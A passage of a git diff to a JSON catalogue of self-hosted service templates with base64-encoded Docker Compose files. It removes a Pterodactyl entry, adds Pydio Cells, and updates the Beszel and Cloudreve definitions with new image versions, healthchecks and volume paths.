ZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
@@ -5299,5 +5231,17 @@
"logo": "svgs/marimo.svg",
"minversion": "0.0.0",
"port": "8080"
+ },
+ "pydio-cells": {
+ "documentation": "https://docs.pydio.com/?utm_source=coolify.io",
+ "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.",
+ "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NFTExTXzgwODAKICAgICAgLSAnQ0VMTFNfU0lURV9FWFRFUk5BTD0ke1NFUlZJQ0VfVVJMX0NFTExTfScKICAgICAgLSBDRUxMU19TSVRFX05PX1RMUz0xCiAgICB2b2x1bWVzOgogICAgICAtICdjZWxsc19kYXRhOi92YXIvY2VsbHMnCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ215c3FsX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotY2VsbHN9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQo=",
+ "tags": [
+ "storage"
+ ],
+ "category": null,
+ "logo": "svgs/cells.svg",
+ "minversion": "0.0.0",
+ "port": "8080"
}
}
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 88eddd10b..58f990de6 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -684,7 +684,7 @@
"cloudreve": {
"documentation": "https://docs.cloudreve.org/?utm_source=coolify.io",
"slogan": "A self-hosted file management and sharing system.",
- "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==",
+ "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=",
"tags": [
"file sharing",
"cloud storage",
@@ -1173,7 +1173,7 @@
"ente-photos": {
"documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io",
"slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.",
- "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX0RCX0hPU1Q9JHtFTlRFX0RCX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnRU5URV9EQl9QT1JUPSR7RU5URV9EQl9QT1JUOi01NDMyfScKICAgICAgLSAnRU5URV9EQl9OQU1FPSR7RU5URV9EQl9OQU1FOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdFTlRFX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfS0VZX0VOQ1JZUFRJT049JHtTRVJWSUNFX1JFQUxCQVNFNjRfRU5DUllQVElPTn0nCiAgICAgIC0gJ0VOVEVfS0VZX0hBU0g9JHtTRVJWSUNFX1JFQUxCQVNFNjRfNjRfSEFTSH0nCiAgICAgIC0gJ0VOVEVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9KV1R9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0FETUlOPSR7RU5URV9JTlRFUk5BTF9BRE1JTjotMTU4MDU1OTk2MjM4NjQzOH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT049JHtFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0FSRV9MT0NBTF9CVUNLRVRTPSR7UFJJTUFSWV9TVE9SQUdFX0FSRV9MT0NBTF9CVUNLRVRTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1VTRV9QQVRIX1NUWUxFX1VSTFM9JHtQUklNQVJZX1NUT1JBR0VfVVNFX1BBVEhfU1RZTEVfVVJMUzotdHJ1ZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0tFWT0ke1MzX1NUT1JBR0VfS0VZOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9TRUNSRVQ9JHtTM19TVE9SQUdFX1NFQ1JFVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTM19TVE9SQUdFX0VORFBPSU5UOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9SRUdJT049JHtTM19TVE9SQUdFX1JFR0lPTjotdXMtZWFzdC0xfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQlVDS0VUPSR7UzNfU1RPUkFHRV9CVUNLRVQ6P30nCiAgICAgIC0gJ0VOVEVfU01UUF9IT1NUPSR7RU5URV9TTVRQX0hPU1R9JwogICAgICAtICdFTlRFX1NNVFBfUE9SVD0ke0VOVEVfU01UUF9QT1JUfScKICAgICAgLSAnRU5URV9TTVRQX1VTRVJOQU1FPSR7RU5URV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnRU5URV9TTVRQX1BBU1NXT1JEPSR7RU5URV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnRU5URV9TTVRQX0VNQUlMPSR7RU5URV9TTVRQX0VNQUlMfScKICAgICAgLSAnRU5URV9TTVRQX1NFTkRFUl9OQU1FPSR7RU5URV9TTVRQX1NFTkRFUl9OQU1FfScKICAgICAgLSAnRU5UR